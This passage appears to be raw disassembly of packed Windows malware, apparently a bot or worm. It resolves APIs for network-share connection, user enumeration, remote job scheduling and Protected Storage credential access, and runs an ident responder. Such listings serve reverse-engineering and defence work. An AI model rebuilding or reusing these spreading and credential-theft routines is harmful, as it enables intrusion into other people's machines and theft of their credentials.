sub_4038BA:loc_40397Aj mov eax, [ebp+arg_18] and eax, 1 test eax, eax jz loc_403A92 mov eax, [ebp+var_40C] cmp dword ptr [eax+4], 7F000001h jz short loc_403A1D mov eax, [ebp+var_40C] cmp dword ptr [eax+4], 0 jnz short loc_403A92 loc_403A1D: ; CODE XREF: sub_4038BA+155j push 0 push 4 mov eax, [ebp+var_40C] add eax, 4 push eax call dword_417220 mov [ebp+var_410], eax cmp [ebp+var_410], 0 jnz short loc_403A4B call dword_417224 jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403A4B: ; CODE XREF: sub_4038BA+184j mov eax, [ebp+var_410] push dword ptr [eax] call sub_416B40 pop ecx inc eax cmp eax, [ebp+arg_C] jbe short loc_403A74 push 2747h call dword_417234 mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403A74: ; CODE XREF: sub_4038BA+1A3j push 401h mov eax, [ebp+var_410] push dword ptr [eax] lea eax, [ebp+var_404] push eax call sub_407A56 add esp, 0Ch jmp short loc_403ABA ; --------------------------------------------------------------------------- loc_403A92: ; CODE XREF: sub_4038BA+142j ; sub_4038BA+161j ... lea eax, [ebp+var_404] push eax call sub_416B40 pop ecx inc eax cmp eax, [ebp+arg_C] jbe short loc_403ABA push 2747h call dword_417234 mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403ABA: ; CODE XREF: sub_4038BA+63j ; sub_4038BA+135j ... cmp [ebp+arg_10], 0 jz loc_403B99 push 8 pop eax test eax, eax jz short loc_403B2C push 0Ah lea eax, [ebp+var_430] push eax mov eax, [ebp+var_40C] mov ax, [eax+2] push eax call dword_417238 movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp+var_430] push eax call sub_416B40 pop ecx inc eax cmp eax, [ebp+arg_14] jbe short loc_403B19 push 2747h call dword_417234 mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403B19: ; CODE XREF: sub_4038BA+248j lea eax, [ebp+var_430] push eax push [ebp+arg_10] call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_403B99 ; --------------------------------------------------------------------------- loc_403B2C: ; CODE XREF: sub_4038BA+20Fj mov eax, [ebp+arg_18] and eax, 10h neg eax sbb eax, eax and eax, offset aUdp ; "udp" push eax mov eax, [ebp+var_40C] movzx eax, word ptr [eax+2] push eax call dword_417228 mov [ebp+var_408], eax cmp [ebp+var_408], 0 jnz short loc_403B61 or eax, 0FFFFFFFFh jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403B61: ; CODE XREF: sub_4038BA+2A0j mov eax, [ebp+var_408] push dword ptr [eax] call sub_416B40 pop ecx inc eax cmp eax, [ebp+arg_14] jbe short loc_403B87 push 2747h call dword_417234 mov eax, 2747h jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403B87: ; CODE XREF: sub_4038BA+2B9j mov eax, [ebp+var_408] push dword ptr [eax] push [ebp+arg_10] call sub_416B3A ; strcpy pop ecx pop ecx loc_403B99: ; CODE XREF: sub_4038BA+204j ; sub_4038BA+270j cmp [ebp+arg_8], 0 jz short loc_403BB0 lea eax, [ebp+var_404] push eax push [ebp+arg_8] call sub_416B3A ; strcpy pop ecx pop ecx loc_403BB0: ; CODE XREF: sub_4038BA+2E3j xor eax, eax jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403BB4: ; CODE XREF: sub_4038BA+B3j jmp loc_403A92 ; --------------------------------------------------------------------------- locret_403BB9: ; CODE XREF: sub_4038BA+2Ej ; sub_4038BA+5Aj ... leave retn 1Ch sub_4038BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403BBD proc near ; DATA XREF: sub_403BD3+1C6o arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jz short loc_403BCF push [ebp+arg_0] call sub_416B4C pop ecx loc_403BCF: ; CODE XREF: sub_403BBD+7j pop ebp retn 4 sub_403BBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403BD3 proc near ; CODE XREF: .packed:loc_4168BCp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push offset aKernel32_dll ; "kernel32.dll" call dword_417054 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_403C00 push offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount" push [ebp+var_C] call dword_417058 mov dword_41DF20, eax loc_403C00: ; CODE XREF: sub_403BD3+18j push offset aNetapi32_dll ; "netapi32.dll" call dword_417054 mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz loc_403CC3 push offset aNetusegetinfo ; "NetUseGetInfo" push [ebp+var_14] call dword_417058 mov dword_41DF28, eax push offset aNetuseadd ; "NetUseAdd" push [ebp+var_14] call dword_417058 mov dword_41DF2C, eax push offset aNetusedel ; "NetUseDel" push [ebp+var_14] call dword_417058 mov dword_41DF30, eax push offset aNetuserenum ; "NetUserEnum" push [ebp+var_14] call dword_417058 mov dword_41DF34, eax push offset aNetshareenum ; "NetShareEnum" push [ebp+var_14] call dword_417058 mov dword_41DF38, eax push offset aNetremotetod ; "NetRemoteTOD" push [ebp+var_14] call dword_417058 mov dword_41DF3C, eax push offset aNetapibufferfr ; "NetApiBufferFree" push [ebp+var_14] call dword_417058 mov dword_41DF40, eax push offset aNetschedulejob ; "NetScheduleJobAdd" push [ebp+var_14] call dword_417058 mov dword_41DF44, eax push offset aNetaddalternat ; "NetAddAlternateComputerName" push [ebp+var_14] call dword_417058 mov dword_41DF48, eax loc_403CC3: ; CODE XREF: sub_403BD3+3Fj push offset aMpr_dll ; "mpr.dll" call dword_417054 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_403D23 push offset aWnetaddconnect ; "WNetAddConnection2A" push [ebp+var_8] call dword_417058 mov dword_41DF4C, eax push offset aWnetaddconne_0 ; "WNetAddConnection2W" push [ebp+var_8] call dword_417058 mov dword_41DF50, eax push offset aWnetcancelconn ; "WNetCancelConnection2A" push [ebp+var_8] call dword_417058 mov dword_41DF54, eax push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push [ebp+var_8] call dword_417058 mov dword_41DF58, eax loc_403D23: ; CODE XREF: sub_403BD3+102j push offset aWs2_32_dll ; "ws2_32.dll" call dword_417054 mov [ebp+var_4], eax push offset aGetaddrinfo ; "getaddrinfo" push [ebp+var_4] call dword_417058 mov dword_41DF64, eax push offset aGetnameinfo ; "getnameinfo" push [ebp+var_4] call dword_417058 mov dword_41DF68, eax push offset aFreeaddrinfo ; "freeaddrinfo" push [ebp+var_4] call dword_417058 mov dword_41DF6C, eax cmp dword_41DF64, 0 jz short loc_403D85 cmp dword_41DF68, 0 jz short loc_403D85 cmp dword_41DF6C, 0 jnz short loc_403DA3 loc_403D85: ; CODE XREF: sub_403BD3+19Ej ; sub_403BD3+1A7j mov dword_41DF64, offset sub_403588 mov dword_41DF68, offset sub_4038BA mov dword_41DF6C, offset sub_403BBD loc_403DA3: ; CODE XREF: sub_403BD3+1B0j push offset aPstorec_dll ; "pstorec.dll" call dword_417054 mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_403DCA push offset aPstorecreatein ; "PStoreCreateInstance" push [ebp+var_10] call dword_417058 mov dword_41DF60, eax loc_403DCA: ; CODE XREF: sub_403BD3+1E2j push offset aWininet_dll ; "wininet.dll" call dword_417054 mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short locret_403DF1 push offset aInternetgetcon ; "InternetGetConnectedStateExA" push [ebp+var_18] call dword_417058 mov dword_41DF5C, eax locret_403DF1: ; CODE XREF: sub_403BD3+209j leave retn sub_403BD3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403DF3 proc near ; DATA XREF: sub_403FE5+89o var_1228 = dword ptr -1228h var_1224 = byte ptr -1224h var_1200 = byte ptr -1200h var_11DC = byte ptr -11DCh var_11B8 = dword ptr -11B8h var_11B4 = dword ptr -11B4h var_11B0 = dword ptr -11B0h var_11AC = byte ptr -11ACh var_11A6 = byte ptr -11A6h var_1000 = byte ptr -1000h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1228h call sub_416BC0 push 1ADh push [ebp+arg_0] lea eax, [ebp+var_11B0] push eax call sub_416B52 add esp, 0Ch push [ebp+arg_0] call sub_416B4C pop ecx push 1 lea eax, [ebp+var_11AC] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_11B4], eax cmp [ebp+var_11B4], 0 jnz short loc_403E52 push [ebp+var_11B0] call sub_409763 pop ecx xor eax, eax jmp locret_403FE1 ; --------------------------------------------------------------------------- loc_403E52: ; CODE XREF: sub_403DF3+4Aj lea eax, [ebp+var_11AC] push eax mov eax, [ebp+var_11B0] push dword ptr [eax] push offset dword_4189C4 lea eax, [ebp+var_11A6] push eax call sub_40D53F add esp, 10h loc_403E75: ; CODE XREF: sub_403DF3+BDj ; sub_403DF3+10Fj ... push 3E8h push [ebp+var_11B4] call sub_4048EF pop ecx pop ecx mov [ebp+var_11B8], eax mov eax, [ebp+var_11B0] cmp dword ptr [eax+4], 0 jnz short loc_403EA2 cmp [ebp+var_11B8], 0 jnz short loc_403EA7 loc_403EA2: ; CODE XREF: sub_403DF3+A4j jmp loc_403FC7 ; --------------------------------------------------------------------------- loc_403EA7: ; CODE XREF: sub_403DF3+ADj cmp [ebp+var_11B8], 0FFFFFFFFh jnz short loc_403EB2 jmp short loc_403E75 ; --------------------------------------------------------------------------- loc_403EB2: ; CODE XREF: sub_403DF3+BBj push 1000h lea eax, [ebp+var_1000] push eax push [ebp+var_11B8] call sub_4053DC add esp, 0Ch mov [ebp+var_1228], eax cmp [ebp+var_1228], 0 jz short loc_403EF6 cmp [ebp+var_1228], 0FFFFFFFFh jz short loc_403EF6 lea eax, [ebp+var_1000] push eax call sub_416B40 pop ecx cmp eax, 10h jbe short loc_403F07 loc_403EF6: ; CODE XREF: sub_403DF3+E6j ; sub_403DF3+EFj push [ebp+var_11B8] call sub_40538D pop ecx jmp loc_403E75 ; --------------------------------------------------------------------------- loc_403F07: ; CODE XREF: sub_403DF3+101j movsx eax, byte_41EFA8 test eax, eax jz short loc_403F27 push offset byte_41EFA8 lea eax, [ebp+var_1224] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_403F57 ; --------------------------------------------------------------------------- loc_403F27: ; CODE XREF: sub_403DF3+11Dj lea eax, [ebp+var_1200] push eax lea eax, [ebp+var_1224] push eax lea eax, [ebp+var_11DC] push eax call sub_40668F add esp, 0Ch lea eax, [ebp+var_1224] push eax push offset byte_41EFA8 call sub_416B3A ; strcpy pop ecx pop ecx loc_403F57: ; CODE XREF: sub_403DF3+132j push offset aUseridUnix ; " : USERID : UNIX : " lea eax, [ebp+var_1000] push eax call sub_416B70 pop ecx pop ecx lea eax, [ebp+var_1224] push eax lea eax, [ebp+var_1000] push eax call sub_416B70 pop ecx pop ecx push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1000] push eax call sub_416B70 pop ecx pop ecx lea eax, [ebp+var_1000] push eax call sub_416B40 pop ecx inc eax push eax lea eax, [ebp+var_1000] push eax push [ebp+var_11B8] call sub_4053BF add esp, 0Ch push [ebp+var_11B8] call sub_40538D pop ecx jmp loc_403E75 ; --------------------------------------------------------------------------- loc_403FC7: ; CODE XREF: sub_403DF3:loc_403EA2j push [ebp+var_11B4] call sub_404CBB pop ecx push [ebp+var_11B0] call sub_409763 pop ecx xor eax, eax locret_403FE1: ; CODE XREF: sub_403DF3+5Aj leave retn 4 sub_403DF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403FE5 proc near ; CODE XREF: sub_40A9CF+EECp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jz short loc_403FFD push [ebp+arg_4] call sub_40422A pop ecx test eax, eax jnz short loc_404004 loc_403FFD: ; CODE XREF: sub_403FE5+9j mov [ebp+arg_4], offset dword_418A18 loc_404004: ; CODE XREF: sub_403FE5+16j push 1ADh call sub_416B46 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40401A jmp short locret_40407B ; --------------------------------------------------------------------------- loc_40401A: ; CODE XREF: sub_403FE5+31j push 6 push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 0Ah push eax call sub_405F67 pop ecx pop ecx cmp [ebp+arg_0], 0 jz short loc_404059 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] test eax, eax jz short loc_404059 and [ebp+var_8], 0 jmp short loc_404060 ; --------------------------------------------------------------------------- loc_404059: ; CODE XREF: sub_403FE5+5Ej ; sub_403FE5+6Cj mov [ebp+var_8], 1 loc_404060: ; CODE XREF: sub_403FE5+72j push [ebp+arg_4] push offset dword_4189F8 push [ebp+var_8] push [ebp+var_4] push offset sub_403DF3 call sub_4095A4 add esp, 14h locret_40407B: ; CODE XREF: sub_403FE5+33j leave retn sub_403FE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40407D proc near ; CODE XREF: sub_4055E5+772p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 loc_404085: ; CODE XREF: sub_40407D+2Cj cmp [ebp+arg_4], 1 jbe short loc_4040AB mov eax, [ebp+arg_0] movzx eax, word ptr [eax] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_4] dec eax dec eax mov [ebp+arg_4], eax jmp short loc_404085 ; --------------------------------------------------------------------------- loc_4040AB: ; CODE XREF: sub_40407D+Cj cmp [ebp+arg_4], 0 jz short loc_4040BF mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx loc_4040BF: ; CODE XREF: sub_40407D+32j mov eax, [ebp+var_4] shr eax, 10h mov ecx, [ebp+var_4] and ecx, 0FFFFh add eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] shr eax, 10h mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov eax, [ebp+var_4] not eax leave retn sub_40407D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4040E8 proc near ; CODE XREF: sub_4055E5+752p ; sub_40A9CF+1A2Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov [ebp+var_4], eax cmp [ebp+var_4], 2 jz short loc_404146 cmp [ebp+var_4], 3 jz short loc_404124 cmp [ebp+var_4], 4 jz short loc_404106 jmp short loc_40416A ; --------------------------------------------------------------------------- loc_404106: ; CODE XREF: sub_4040E8+1Aj mov eax, [ebp+arg_0] and al, 0 mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_404124: ; CODE XREF: sub_4040E8+14j mov eax, [ebp+arg_0] and ah, 0 mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 8 mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_404146: ; CODE XREF: sub_4040E8+Ej mov eax, [ebp+arg_0] and eax, 0FF00FFFFh mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 10h mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_40416A: ; CODE XREF: sub_4040E8+1Cj mov eax, [ebp+arg_0] and eax, 0FFFFFFh mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 18h mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx mov eax, [ebp+arg_0] leave retn sub_4040E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404193 proc near ; CODE XREF: sub_404279+Ap ; sub_40435B+17p arg_0 = dword ptr 8 push ebp mov ebp, esp push 0Ah push [ebp+arg_0] push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch pop ebp retn sub_404193 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4041B7 proc near ; CODE XREF: sub_40D871+5B3p arg_0 = dword ptr 8 push ebp mov ebp, esp push 4 push offset dword_418A48 push [ebp+arg_0] call sub_416BF0 add esp, 0Ch test eax, eax jnz short loc_4041D5 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_4041D5: ; CODE XREF: sub_4041B7+17j push 4 push offset dword_418A40 push [ebp+arg_0] call sub_416BF0 add esp, 0Ch test eax, eax jnz short loc_4041F0 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_4041F0: ; CODE XREF: sub_4041B7+32j push 8 push offset dword_418A34 push [ebp+arg_0] call sub_416BF0 add esp, 0Ch test eax, eax jnz short loc_40420B push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_40420B: ; CODE XREF: sub_4041B7+4Dj push 3 push offset dword_418A30 push [ebp+arg_0] call sub_416BF0 add esp, 0Ch test eax, eax jnz short loc_404226 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_404226: ; CODE XREF: sub_4041B7+68j xor eax, eax loc_404228: ; CODE XREF: sub_4041B7+1Cj ; sub_4041B7+37j ... pop ebp retn sub_4041B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40422A proc near ; CODE XREF: sub_402A32+206p ; sub_403FE5+Ep ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_40423C ; --------------------------------------------------------------------------- loc_404235: ; CODE XREF: sub_40422A:loc_404273j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40423C: ; CODE XREF: sub_40422A+9j cmp [ebp+var_4], 6 jnz short loc_404244 jmp short loc_404275 ; --------------------------------------------------------------------------- loc_404244: ; CODE XREF: sub_40422A+16j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_404273 push [ebp+arg_0] call sub_416B9C pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_40426C cmp [ebp+var_8], 0FFFFh jbe short loc_40426E loc_40426C: ; CODE XREF: sub_40422A+37j jmp short loc_404275 ; --------------------------------------------------------------------------- loc_40426E: ; CODE XREF: sub_40422A+40j push 1 pop eax jmp short locret_404277 ; --------------------------------------------------------------------------- loc_404273: ; CODE XREF: sub_40422A+25j jmp short loc_404235 ; --------------------------------------------------------------------------- loc_404275: ; CODE XREF: sub_40422A+18j ; sub_40422A:loc_40426Cj xor eax, eax locret_404277: ; CODE XREF: sub_40422A+47j leave retn sub_40422A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404279 proc near ; CODE XREF: sub_4042FB+Cp ; sub_408B30+197p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call sub_404193 pop ecx push 1 lea eax, [ebp+var_8] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_4042A4 push 1 pop eax jmp short locret_4042F9 ; --------------------------------------------------------------------------- loc_4042A4: ; CODE XREF: sub_404279+24j push 0BB8h push 0 lea eax, [ebp+var_8] push eax push offset dword_41F028 call sub_4050EA add esp, 10h mov [ebp+var_C], eax push [ebp+var_10] call sub_404CBB pop ecx cmp [ebp+var_C], 0 jz short loc_4042DA cmp [ebp+var_C], 0FFFFFFFFh jz short loc_4042DA and [ebp+var_18], 0 jmp short loc_4042E1 ; --------------------------------------------------------------------------- loc_4042DA: ; CODE XREF: sub_404279+53j ; sub_404279+59j mov [ebp+var_18], 1 loc_4042E1: ; CODE XREF: sub_404279+5Fj mov eax, [ebp+var_18] mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4042F6 push [ebp+var_C] call sub_4053B1 pop ecx loc_4042F6: ; CODE XREF: sub_404279+72j mov eax, [ebp+var_14] locret_4042F9: ; CODE XREF: sub_404279+29j leave retn sub_404279 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4042FB proc near ; CODE XREF: sub_411D68+4p ; sub_41349C+1FAp ... push ebp mov ebp, esp cmp dword_41E374, 0 jnz short loc_404327 call sub_404279 push eax push offset dword_41E378 call sub_409C9D pop ecx pop ecx push 1 push offset dword_41E374 call sub_409C9D pop ecx pop ecx loc_404327: ; CODE XREF: sub_4042FB+Aj mov eax, dword_41E378 pop ebp retn sub_4042FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40432E proc near ; CODE XREF: sub_40435B+6p ; sub_4046BC+5Dp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push 0 push 1 push 17h call dword_417218 mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jz short loc_404350 push [ebp+var_4] call sub_4053B1 pop ecx loc_404350: ; CODE XREF: sub_40432E+17j xor eax, eax cmp [ebp+var_4], 0FFFFFFFFh setnz al leave retn sub_40432E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40435B proc near ; CODE XREF: sub_4083AD:loc_4085D6p var_18 = dword ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h call sub_40432E test eax, eax jnz short loc_40436E xor eax, eax jmp short locret_4043E7 ; --------------------------------------------------------------------------- loc_40436E: ; CODE XREF: sub_40435B+Dj lea eax, [ebp+var_14] push eax call sub_404193 pop ecx push 1 lea eax, [ebp+var_14] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_404392 xor eax, eax jmp short locret_4043E7 ; --------------------------------------------------------------------------- loc_404392: ; CODE XREF: sub_40435B+31j push 0BB8h push 2 lea eax, [ebp+var_14] push eax push offset dword_418A5C call sub_4050EA add esp, 10h mov [ebp+var_8], eax push [ebp+var_C] call sub_404CBB pop ecx cmp [ebp+var_8], 0 jz short loc_4043CB cmp [ebp+var_8], 0FFFFFFFFh jz short loc_4043CB mov [ebp+var_18], 1 jmp short loc_4043CF ; --------------------------------------------------------------------------- loc_4043CB: ; CODE XREF: sub_40435B+5Fj ; sub_40435B+65j and [ebp+var_18], 0 loc_4043CF: ; CODE XREF: sub_40435B+6Ej mov eax, [ebp+var_18] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4043E4 push [ebp+var_8] call sub_4053B1 pop ecx loc_4043E4: ; CODE XREF: sub_40435B+7Ej mov eax, [ebp+var_4] locret_4043E7: ; CODE XREF: sub_40435B+11j ; sub_40435B+35j leave retn sub_40435B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4043E9 proc near ; CODE XREF: sub_408B30:loc_408C9Fp ; sub_40CA29+231p ... var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h push offset dword_418A1C lea eax, [ebp+var_1C] push eax call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_1C] push eax call sub_4105FB pop ecx push 7D0h push 2 push offset a80 ; "80" lea eax, [ebp+var_1C] push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_404439 cmp [ebp+var_8], 0FFFFFFFFh jz short loc_404439 mov [ebp+var_20], 1 jmp short loc_40443D ; --------------------------------------------------------------------------- loc_404439: ; CODE XREF: sub_4043E9+3Fj ; sub_4043E9+45j and [ebp+var_20], 0 loc_40443D: ; CODE XREF: sub_4043E9+4Ej mov eax, [ebp+var_20] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_404452 push [ebp+var_8] call sub_4053B1 pop ecx loc_404452: ; CODE XREF: sub_4043E9+5Ej mov eax, [ebp+var_4] leave retn sub_4043E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404457 proc near ; CODE XREF: sub_404FE7+AFp ; sub_4050EA+EDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx xor eax, eax cmp [ebp+arg_4], 0 setz al mov [ebp+var_4], eax lea eax, [ebp+var_4] push eax push 8004667Eh push [ebp+arg_0] call dword_417214 leave retn sub_404457 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40447B proc near ; CODE XREF: sub_40732D+22Ep ; sub_40732D+296p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push 4004667Fh push [ebp+arg_0] call dword_417214 xor eax, eax cmp [ebp+var_4], 0 setnz al leave retn sub_40447B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40449C proc near ; CODE XREF: sub_40D871+5A1p ; sub_411DC5+65p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h mov [ebp+var_84], 80h lea eax, [ebp+var_84] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417240 cmp eax, 0FFFFFFFFh jnz short loc_4044CC xor eax, eax jmp short locret_4044F5 ; --------------------------------------------------------------------------- loc_4044CC: ; CODE XREF: sub_40449C+2Aj push 2 push 0 push 0 push 100h push [ebp+arg_4] push [ebp+var_84] lea eax, [ebp+var_80] push eax call dword_41DF68 ; getnameinfo test eax, eax jz short loc_4044F2 xor eax, eax jmp short locret_4044F5 ; --------------------------------------------------------------------------- loc_4044F2: ; CODE XREF: sub_40449C+50j push 1 pop eax locret_4044F5: ; CODE XREF: sub_40449C+2Ej ; sub_40449C+54j leave retn sub_40449C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4044F7 proc near ; CODE XREF: sub_40732D+DDp ; sub_4129CA+29p ... var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h mov [ebp+var_84], 80h lea eax, [ebp+var_84] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417210 cmp eax, 0FFFFFFFFh jnz short loc_404527 xor eax, eax jmp short locret_404550 ; --------------------------------------------------------------------------- loc_404527: ; CODE XREF: sub_4044F7+2Aj push 2 push 0 push 0 push 100h push [ebp+arg_4] push [ebp+var_84] lea eax, [ebp+var_80] push eax call dword_41DF68 ; getnameinfo test eax, eax jz short loc_40454D xor eax, eax jmp short locret_404550 ; --------------------------------------------------------------------------- loc_40454D: ; CODE XREF: sub_4044F7+50j push 1 pop eax locret_404550: ; CODE XREF: sub_4044F7+2Ej ; sub_4044F7+54j leave retn sub_4044F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404552 proc near ; CODE XREF: sub_41331E+A6p ; sub_415F69+256p var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 88h mov [ebp+var_88], 80h lea eax, [ebp+var_88] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417240 cmp eax, 0FFFFFFFFh jnz short loc_404582 xor eax, eax jmp short locret_4045B0 ; --------------------------------------------------------------------------- loc_404582: ; CODE XREF: sub_404552+2Aj lea eax, [ebp+var_80] mov [ebp+var_84], eax push 0Ah push [ebp+arg_4] mov eax, [ebp+var_84] mov ax, [eax+2] push eax call dword_417238 movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 pop eax locret_4045B0: ; CODE XREF: sub_404552+2Ej leave retn sub_404552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4045B2 proc near ; CODE XREF: sub_4143B0+191p ; sub_415F69+20Ap var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 88h mov [ebp+var_88], 80h lea eax, [ebp+var_88] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417210 cmp eax, 0FFFFFFFFh jnz short loc_4045E2 xor eax, eax jmp short locret_404610 ; --------------------------------------------------------------------------- loc_4045E2: ; CODE XREF: sub_4045B2+2Aj lea eax, [ebp+var_80] mov [ebp+var_84], eax push 0Ah push [ebp+arg_4] mov eax, [ebp+var_84] mov ax, [eax+2] push eax call dword_417238 movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 pop eax locret_404610: ; CODE XREF: sub_4045B2+2Ej leave retn sub_4045B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404612 proc near ; CODE XREF: sub_40D871+69Cp var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp 